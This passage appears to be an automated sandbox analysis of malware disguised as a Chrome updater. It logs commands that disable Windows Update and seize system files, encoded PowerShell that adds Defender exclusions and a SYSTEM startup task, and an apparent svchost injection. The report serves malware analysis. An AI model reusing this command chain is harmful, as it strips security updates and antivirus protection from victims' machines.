"\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:5244
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:4348
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:1972
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5308
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:5852
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4468
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:5784
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:1488
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:5760
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:2544
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:4980
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1508
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6476
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:4252
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4152
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:1872
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:6132
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:2748
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:1224
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:3336
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:6748
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:1228
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:3508
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:4608
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:6224
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1124
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4536
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3472
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        
        PID:428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:1080
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:2856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:2844
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:2888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:4324
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:5536
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3444
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:4488
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:6040
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:5248
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:2272
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:3716
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:3044
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:4628
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:2116
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:6200
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3300
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6932
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3064
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:6316
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:6428
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:6660
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:8
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:6192
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:6412
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3984
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:4600
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:4336
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:4440
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:3004
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1380
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:7108
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4496
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:1976
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:7016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:6028
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    PID:2324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
